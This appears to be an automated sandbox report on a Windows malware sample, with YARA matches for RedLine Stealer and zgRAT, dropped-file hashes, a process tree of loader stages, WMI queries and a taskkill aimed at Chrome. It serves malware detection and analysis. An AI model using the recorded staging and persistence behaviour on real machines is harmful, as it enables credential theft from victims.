Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AE099	7_2_008AE099
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_00869FAE	7_2_00869FAE
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AE50A	7_2_008AE50A
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AE98E	7_2_008AE98E
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D2C9E	7_2_008D2C9E
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AEDFF	7_2_008AEDFF
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008C6D3E	7_2_008C6D3E
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_0088EE28	7_2_0088EE28
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008C6D3E	7_2_008C6D3E
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008E3192	7_2_008E3192
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AF23D	7_2_008AF23D
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008E758F	7_2_008E758F
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AF68E	7_2_008AF68E
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008C3630	7_2_008C3630
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AFACC	7_2_008AFACC
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008C3CE0	7_2_008C3CE0
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AFFF5	7_2_008AFFF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040A420	9_2_0040A420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401000	9_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004060E0	9_2_004060E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043B080	9_2_0043B080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00404090	9_2_00404090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00433230	9_2_00433230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00410290	9_2_00410290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004202A0	9_2_004202A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004053B0	9_2_004053B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00429580	9_2_00429580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00403670	9_2_00403670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00406610	9_2_00406610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00420760	9_2_00420760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042170C	9_2_0042170C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401730	9_2_00401730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042994F	9_2_0042994F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00424950	9_2_00424950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004269F8	9_2_004269F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043AA40	9_2_0043AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00426A52	9_2_00426A52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00404A10	9_2_00404A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0041FA1E	9_2_0041FA1E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00435C00	9_2_00435C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00421D7E	9_2_00421D7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043AD30	9_2_0043AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00407E30	9_2_00407E30
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD94091F2C	12_2_000001DD94091F2C
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940A38A8	12_2_000001DD940A38A8
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD9409D0E0	12_2_000001DD9409D0E0
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C2B2C	12_2_000001DD940C2B2C
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940D44A8	12_2_000001DD940D44A8
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940CDCE0	12_2_000001DD940CDCE0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\WindowsServices\WindowsAutHost 59E6A5009CE5E9547078DB7F964BB8FC10EE999DD35B7E9243F119DB8337AA8D
Source: Joe Sandbox View	Dropped File: C:\ProgramData\okili\peombdb.exe CC5BB638CB34CBD386A906B7708EB62E05E3FC991A20BD060E1D84F722D29FF1

Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: String function: 008D3E6F appears 37 times
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: String function: 008431F2 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: String function: 00842310 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408960 appears 55 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00409050 appears 173 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 7796 -ip 7796

Source: _overlapped.pyd.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: judit[1].exe.2.dr	Static PE information: Number of sections : 12 > 10
Source: stub.exe.12.dr	Static PE information: Number of sections : 12 > 10
Source: judit.exe.2.dr	Static PE information: Number of sections : 12 > 10
Source: Monster.exe.15.dr	Static PE information: Number of sections : 12 > 10

Source: python3.dll.12.dr

Static PE information: No import functions for PE file found

Source: DPqKF5vqpe.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 28.2.RegAsm.exe.572b5e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 28.2.RegAsm.exe.572b5e.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 31.2.One.exe.128c1a78.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.upd.exe.10a183e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 24.2.upd.exe.10a183e.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 28.2.RegAsm.exe.572b5e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 28.2.RegAsm.exe.572b5e.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 28.2.RegAsm.exe.4045570.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 28.2.RegAsm.exe.4045570.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.upd.exe.10a183e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 24.2.upd.exe.10a183e.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 31.2.One.exe.128c1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 28.2.RegAsm.exe.403dbb.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.upd.exe.f32a9b.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 31.0.One.exe.490000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, type: DROPPED	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: DPqKF5vqpe.exe	Static PE information: Section: ZLIB complexity 0.9983937414617486
Source: DPqKF5vqpe.exe	Static PE information: Section: ysbzieoj ZLIB complexity 0.9942563657407407
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983937414617486
Source: axplong.exe.0.dr	Static PE information: Section: ysbzieoj ZLIB complexity 0.9942563657407407
Source: upd[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9979093396337629
Source: upd.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9979093396337629

Source: 24.2.upd.exe.f32a9b.4.raw.unpack, Strings.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, A2H1lUZ15GsIooGy4G.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, A2H1lUZ15GsIooGy4G.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 24.2.upd.exe.f32a9b.4.raw.unpack, Strings.cs

Base64 encoded string: 'KA4dJRY2AQEXGQoONCEVNTIHI0MpIgEgPyAnABEYGVEjRSM1KioSRxYzKyEjIT8nOjQvHw4PIzU3OUVP'

Source: classification engine

Classification label: mal100.spre.troj.adwa.spyw.evad.winEXE@147/104@654/100

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_0042850D CoCreateInstance,

9_2_0042850D

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6712:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Mutant created: \Sessions\1\BaseNamedObjects\M
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5908:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6612:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6168:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7796
Source: C:\ProgramData\okili\peombdb.exe	Mutant created: \Sessions\1\BaseNamedObjects\peombdb
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

File created: C:\Users\user\AppData\Local\Temp\8254624243

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000036D3000.00000004.00000800.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000036BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: DPqKF5vqpe.exe

ReversingLabs: Detection: 42%

Source: DPqKF5vqpe.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

File read: C:\Users\user\Desktop\DPqKF5vqpe.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DPqKF5vqpe.exe "C:\Users\user\Desktop\DPqKF5vqpe.exe"
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe "C:\Users\user\AppData\Local\Temp\1000004001\gold.exe"
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe "C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe"
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
